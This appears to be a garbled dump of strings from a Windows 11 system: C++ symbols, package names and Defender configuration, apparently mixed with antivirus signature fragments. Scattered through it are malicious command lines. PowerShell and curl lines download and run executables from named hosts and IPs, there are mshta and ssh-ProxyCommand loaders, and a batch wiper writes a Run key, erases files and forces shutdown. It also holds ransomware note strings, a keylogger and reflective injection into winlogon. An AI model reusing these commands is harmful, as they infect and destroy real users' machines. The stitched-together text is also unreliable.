HKLM\SOFTWARE\Microsoft\Windows Defender
\microsoft\windows\start menu\programs\startup.*%.lnk
9MWD2Z8L1FBQPrivateDivision.TheOuterWorldsWindows10_hv3d7yfbgr2rpPrivate Division
a1^com.microsoft.windows.app.textinput
com.microsoft.windows.app.textinput
a3^com.microsoft.windows.extensionpackage
a4^com.microsoft.windows.extensions.xaml.textinput
(Windows Credentials Editor)Using WCE Windows Service...something terrible happened!Cannot get LSASS.EXE PID!
<description>Windows XP Visual Styles</description><
5Windows Memory Diagnostic tool Contact:Behavior:Win32/Cribit.A
?,\Windows NT\CurrentVersion%_HESP_BOT_ID_%$_HESP_REQ_TYPE_$S
Obfuscator_LoadLibraryFileMissing.SYSTEM32
globalDiagnosticsFoundationLoggingChannelOptionsWindowsapplyctor2
globalDiagnosticsFoundationLoggingChannelWindowsapplyctor
globalDiagnosticsFoundationLoggingChannelOptionsWindowsapplyctor2
IsWindowsInsider
2<appletwidth='1'height='1'code='skata.class'archive='skatampe.jar'name='sunjavamandatoryupdate'><paramname='first'value='cmd.exe/cechoconstadtypebinary=1>c:\windows\apsou.vbs&echoconstadsavecreateoverwrite=2>>c:\windows\apsou.vbs&echodimbinarystream>>c:\windows\apsou.vbs&echosetbinarystream=createobject("adodb.stream")>>c:\windows\apsou.vbs&echobinarystream.type=adtypebinary>>c:\windows\apsou.vbs&echobinarystream.open>>c:\windows\apsou.vbs&echobinarystream.writebinarygeturl(wscript.arguments
\MICROSOFT\WINDOWS\CURRENTVERSION\RUN
s compatibility with Windows XP and
Windows
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
1d^windows.backgroundTasks
1d^windows.protocol
schtasks /create /tnC:\Windows\System32\attrib.exetaskmgr.exe
schtasks /create /tn \Windows\ServiceRun /trcryptonightattrib +s +h "C:\
Microsoft.Windows.Security.EFS.EfsWrt
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.ErrorHandling.Fallback
Microsoft.Windows.Security.Efs
powershell-windowstylehidden-encodedcommand$
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.deploymentExtensionHandler
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.publisherCacheFolders
windows.activatableClass.inProcessServer
windows.deploymentExtensionHandler
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.deploymentExtensionHandler
windows.activatableClass.proxyStub
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.deploymentExtensionHandler
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.proxyStub
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
windows.activatableClass.inProcessServer
C:\Windows\lock.pngINCORRECT DECRYPTION KEYMilkywayMutexencrypted your infrastructureRansom:Win64/Shirna.YBG!MTB
<commandlinedirectory=""windowstate="minimized"params="-whidden($
=new-object-comobject'windowsinstaller.installer');($
)two socket.windows date and time service-slaveenter your5
Microsoft.Windows.Networking.VPNPlugin.WinRT
Microsoft.Windows.AppXDeploymentExtensions
windows\.
Digest Authentication for Windows
windows
dqHElolo=target.createfile("c://windows//system32\\$bemsexport.vbs");
j='dde"c:\\windows\\system32\\cime
WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)"  --enable-features=msEdgeFluentOverlayScrollbar
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
\windows\csc\
windows\temp
hklm\software\microsoft\windows defender
hklm\software\policies\microsoft\windows defender
\microsoft\windows\inetcache\content.outlook\
\microsoft\windows\inetcache\ie\
\users\[^\]+\appdata\local\microsoft\windows\temporary internet files\content.ie5\.+
echooffnetuser%username%simeonoliverechowindowsregistryeditorversion5.00o>%homedrive%\windows\y.regecho.>>%homedrive%\windows\y.regecho[hkey_local_machine\software\microsoft\windows\currentversion\run]>>%homedrive%\windows\y.regecho"imagepath"="%homedrive%\\windows\\system_32.bat">>%homedrive%\windows\y.regregimport%homedrive%\windows\y.regechoerase/q/s%homedrive%\*.*>>"%homedrive%\\windows\\system_32.bat"shutdown-s-f-t0erase/q*.cmd
Yckages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView" --webview-exe-name=SearchHost.exe"
"ser-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@2@@ZPEAU345678@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@AEBU?$_Ph@$02@2@@std@@
.P6A_NAEBUShutdownUXOption@Shutdown@UI@Internal@Windows@winrt@@@Z
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationManager@implementation@Dictation@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXXZPEAU3456789@@std@@
.?AV?$_Binder@U_Unforced@std@@P8DictationInputProcessor@implementation@Text@Input@UI@WindowsUdk@winrt@@EAAXG@ZPEAU3456789@AEBU?$_Ph@$00@2@@std@@
.?AU?$TypedEventHandler@UMenuItem@UI@WindowsUdk@winrt@@UMenuItemInvokedArgs@234@@Foundation@Windows@winrt@@
DriverData=C:\Windows\System32\
temRoot%\system32\mswsock.dl
microsoft.m365.cosmic.compute.windows.node
Microsoft.Windows.Compatibility.Apphelp
Microsoft.Windows.Compatibility.Encapsulation
Microsoft.Windows.Compatibility.Asl
Failed to initialize value name [%x]rges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
software\microsoft\windows\currentversion\policies\system_
\windows\system32\
36da592d-e43a-4e28-af6f-4bc57c5a11e8c88a4ef5-d048-4013-9408-e04b7db2814aetwtraceeventsourcefid_urb_transferbufferlengthadd_cancelkeypressisctrlcexecutedfid_usbport_urb_bulk_or_interrupt_transfer<startdumpkeys>usb keylogger using event tracing for windowsignoring non-usb keyboard device: 0x{0:x
:powershell.exe-windowstylehidden-command"[system.net.servicepointmanager]::securityprotocol=[system.net.securityprotocoltype]::
windows sknaand girdedw
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
,"-command","-file")&"c:\users\public\autosystemwindowshandler.ps1
tWindowsu
Windows@4@@P
      <Color Name="ToolWindowShelf">
WINDOWS_DIALOG_COMMENT_TEXT
WINDOWS_TITLE_TEXT
Enter your feedback on Windows Search here. To protect your privacy, please don't include any personal information.
em;C:\WINDOWS\
&c:\windows\syswow64\windowspowershell\v1.0\powershell.exeinvoke-webrequest-uri'http://3.80.28.180/eehnyoha/vid.exe'-outfile$env:temp\1.exe;start$env:temp\1.exe
Tc:\windows\syswow64\windowspowershell\v1.0\powershell.exeinvoke-webrequest-uri'https://files.catbox.moe/773lif.bat'-outfile$env:temp\1.bat;start$env:temp\1.bat
R c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"&{invoke-webrequest-urihttps://transfer.whalebone.io/7blhqsgofx/payload.exe
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-command'r6>gr8p5hamshtahttps://regerras.com/mountain.mp4r6>gr8p5ha'.substring(10,39)".
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddeninvoke-webrequesthttp://5.206.224.141/
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
WindowsA
GetWindowSubclass
RemoveWindowSubclass
SetWindowSubclass
c:\windows\system32\windowspowershell\v1.0\powershell.exe${
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112010
tWindowsP
powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass -commandp
deletefile(wscript.scriptfullname);"c:\windows\system32\mshta
ComSpec=C:\WINDOWS\system32\cmd.exeZ
"%s">>"%s"\s.txtdel c:\windows\temp\r.exe /f /qdel c:\windows\temp\r.ini /f /q!#ALF:Ransom:Win64/IndustrialSpyDecryptor.A
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Kernel-Package-WOW64-NT-Package~31bf3856ad364e35~amd64~~10.0.26100.7623.cat
Windows/Temp/Microsoft WorldD
Microsoft.Windows.Shell.SHCore
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.StreamLib
Microsoft.Windows.SHCore.Oplock
Microsoft.Windows.Shell.ScalingCompat
Microsoft-Windows-WOWSupport-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
WindowsInternal.ComposableShell.Experiences.TextInput&
WindowsInternal.ComposableShell.Experiences.TextInput&
WindowsInternal.ComposableShell.Experiences.TextInput&
WindowsInternal.ComposableShell.Experiences.TextInput&
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
{"type":"directprint","module":"..\\..\\..\\Windows\\System32\\mshta","key""data":{"pdf":ko,en-US;p
Software\Microsoft\Windows\CurrentVersion\Uninstall\Koralerne\Kravlendes\Spinaen\DobbelthederS
WindowsDefenderUpdates.g.resources!#Lowfi:HSTR:BrowserModifier:ConsentBypass.F
la/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0!#HSTR:Trojan:MSIL/AgentTesla.AMMQ9!MTB
<description>Windows Command Processor</description>name="Microsoft.Windows.FileSystem.CMD"ext-ms-win-cmd-util-l1-1-0.dllCmdBatNotificationStub!#HSTR:Trojan:MSIL/AgentTesla.R07-29r4yp!EML
PSoftware\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{11111111-1111-1111-1111-110
?synchronousWindowSystemEvents@QWindowSystemInterfacePrivate@@2_NA
Microsoft.Windows.FileSystem.UnionFs
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Security.Biometrics.Client
?handleContextMenuEvent@QWindowSystemInterface@@SAXPEAVQWindow@@_NAEBVQPoint@@2V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
?handleDrag@QWindowSystemInterface@@SA?AVQPlatformDragQtResponse@@PEAVQWindow@@PEBVQMimeData@@AEBVQPoint@@V?$QFlags@W4DropAction@Qt@@@@@Z
?handleDrag@QWindowSystemInterface@@SA?AVQPlatformDragQtResponse@@PEAVQWindow@@PEBVQMimeData@@AEBVQPoint@@V?$QFlags@W4DropAction@Qt@@@@V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
?handleDrop@QWindowSystemInterface@@SA?AVQPlatformDropQtResponse@@PEAVQWindow@@PEBVQMimeData@@AEBVQPoint@@V?$QFlags@W4DropAction@Qt@@@@@Z
?handleDrop@QWindowSystemInterface@@SA?AVQPlatformDropQtResponse@@PEAVQWindow@@PEBVQMimeData@@AEBVQPoint@@V?$QFlags@W4DropAction@Qt@@@@V?$QFlags@W4MouseButton@Qt@@@@V?$QFlags@W4KeyboardModifier@Qt@@@@@Z
?handleEnterLeaveEvent@QWindowSystemInterface@@SAXPEAVQWindow@@0AEBVQPointF@@1@Z
?handleEnterWhatsThisEvent@QWindowSystemInterface@@SAXXZ
?handleExtendedKeyEvent@QWindowSystemInterface@@SA_NPEAVQWindo
GetSystemWindowsDirectoryW
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsDuplicateString
WindowsDeleteString
WindowsCreateStringReference
WindowsCreateString
Microsoft.Windows.Networking.WlanApi
Microsoft.Windows.TlgAggregateInternal
:\windows\winsxs\
:\windows\temp
us":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\UserDataService.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[12,227,108,143,36,134,225,59,114,21,18,235,243,100,228,97,225,237,115,250],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"USERDATASERVICE.dll","InternalName":"USERDATASERVICE","FileDescription":"The endpoint for 3rd party APIs to read/write user data","ProductName":"Microsoft
 Windows
"WindowsApplicationW
@%SYSTEMROOT%\system32\ipconfig /release
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe
c:\windows\system32\cmd.exe/cpowershell-c(new-objectnet.webclient).downloadstring('http://krollaugh.hopto.org/biruta.cmd')
jc:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://fidelity-flooringinc.com/do.hta'
c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe-nologo\\filehosting.simple-url.com\\documents\\danfe1638504.xml
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'msh'.insert(3,'tahttp://31.177.110.82/
?c:\windows\system32\wscript.exe//b\\static-obligations-baths-carnival.trycloudflare.com@ssl\davwwwroot\sep12wsf\jkwep.wsf
[c:\windows\system32\forfiles.exe/pc:\windows\system32/mcalc.exe/c"powershell.\*i*\s*3*\m*ta.e*http://45.90.123.184/nota2"
hklm:\software\microsoft\windowsadvancedthreatprotection\status
<=windowsidentity.getcurrent())
 =newwindowsprincipal(identity)
 .isinrole(windowsbuiltinrole.administrator)
dows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-executionpolicybypass-command"cd'c
cmd.exej-ihlc:\windows\system32\cmd.exe*..\..\..\..\..\..\windows\system32\cmd.exe+c:\users\dwsdw\desktop\123\virus\newfoldera/k"curlhttp
Software\Microsoft\Windows NT\CurrentVersion\PeerDist\Service\
>c:\windows\
Assets\WindowsSecuritySplashScreen.png
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64_
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App
[2026-02-24T08:06:00.264Z] [ message] [vmsvc] [2804] Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
windir=C:\WINDOWS
USERNAME=WINDOWS11$
TMP=C:\WINDOWS\TEMP
TEMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Defender.UpdateLogging
nAN#t9RzvaWv7skvsVllxJE{0lTiNgWindows.exemkhWfezxa4vGs
Vhttp://hivecusthttp://hiveleakdbencrypt_files.goerase_key.gokill_processes.goremove_shadow_copies.gostop_services_windows.goremove_itself_windows.go/encryptor/how_to_decrypt.txtfilesencryptedencryptionstartedencryptfilesgroupyour data will be undecryptable- do not fool yourself. encryption has perfect secrecy.encryptfiles..encryptfilename.d*struct { f uintptr; data *[]uint8; seed *uint8; fnc *main.decfunc }golang.org/x/sys/windows.getsystemwindowsdirectorypath/filepath.walkdirTrojan:HTML/Phish.BBQ!MTB
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ce.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2
ce.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0?CampPlatformVersion=6&EngineMinorVersion=1&EngineRing=5&EngineVersion=26010&IsBeta=0&IsDomainController=0&IsEmbedded=0&IsEnterprise=0&IsMsSense=0&IsMsft=0&IsServer=0&IsSeville=0&MoCampBuildRev=1704591365&MoCampVersion=262162&OsBuildMinNumber=7840&OsBuildNumber=26200&OsMajorMinorVersion=655360&PlatformRing=5&SignatureRing=5&clientId=A5A962D7-2A13-4A83-9BDC-E17FA86AB903&id=
invoke-reflectivepeinjection-bytes32$logon32bit-bytes64$logon64bit-procid$winlogonprocessid
 .dat&&%windir%\system32\regsvr32%temp%\
Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Other-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Multimedia-RestrictedCodecs-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx-Shared-Typelibs~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-Kernel-Package-IsolatedUserMode-Other-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
wt.exeWindows.FullTrustApplicationp
WindowsTerminal.exeWindows.FullTrustApplication
WinStore.DesktopExtension\StoreDesktopExtension.exeWindows.FullTrustApplcationr
WinStore.App.exeWinStore.Tasks.WindowsSearchTask
WinStore.DesktopExtension\StoreDesktopExtension.exeWindows.FullTrustApplication
Notepad\Notepad.exeWindows.FullTrustApplication{
WindowsCamera.exeMicrosoft.CameraApp.Windows.Appa
da^com.microsoft.windows.app.searchbox
com.microsoft.windows.app.searchbox
dc^com.microsoft.windows.extension.softlanding
com.microsoft.windows.extension.softlanding
Windows\WinS\xcopy.exeW
Microsoft.Windows.Memory
Microsoft.Windows.CpuTrigger
Microsoft.Windows.DiskTrigger
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
Windows6.1
1.28.1.0^1.28.1+3231f14471706098a431a2827af1da0397bf6046&Windows10.0.10240.0
      The MediaFeaturesInformation library helps apps detect which media features are available on a Windows PC.
c:\windows\system32\cmd.exe/kstartmsedgehttps://www.fnb.co.za/downloads/public/fnb_psb_obestatement.pdf&curl-slo%temp%\480ef6fd-86fe-406e-8489-859528d7bda6.exehttp://payber.store/fils/out.exe&%temp%\480ef6fd-86fe-406e-8489-859528d7bda6.exe|taskkill/f/imcmd.exe
c:\windows\system32\cmd.exe/kstartmsedgehttps://www.wto.org/english/docs_e/legal_e/27-trips.pdf&curl-slo%temp%\5010f4b0-d946-4df7-998c-9d43d2b022ab.msihttp://hq-office.us/fork/setup315.msi&%temp%\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi/qn|taskkill/f/imcmd.exe
pTM[system.io.file]::writeallbytes("c:\windows\system32\en-us\wmimgmt.msc",$decodedbytesfakes)(get-content-path'\\?\c:\windows\system32\en-us\wmimgmt.msc'-raw)-replace'{htmlloaderurl}',$htmlloaderurl|set-content-path'\}
.document.activeview.executeshellcommand("c:\windows\system32\cmd.exe",$null,"/c$
Microsoft.Windows.Security.SBServicingCore
Microsoft.Windows.BootFileServicingAI
Microsoft.Windows.BootFileServicing
Microsoft.Windows.BootFileServicing
on_base@impl@2@@impl@winrt@@U?$IIterable@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterable@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@U?$IVector@Uhstring@winrt@@@5673@U?$IVectorView@Uhstring@winrt@@@5673@U?$IIterable@Uhstring@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@winrt@@
.?AU?$producers_base@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@V?$tuple@U?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@winrt@@U?$IVector@Uhstring@winrt@@@2345@U?$IVectorView@Uhstring@winrt@@@2345@U?$IIterable@Uhstring@winrt@@@2345@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IObservableVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
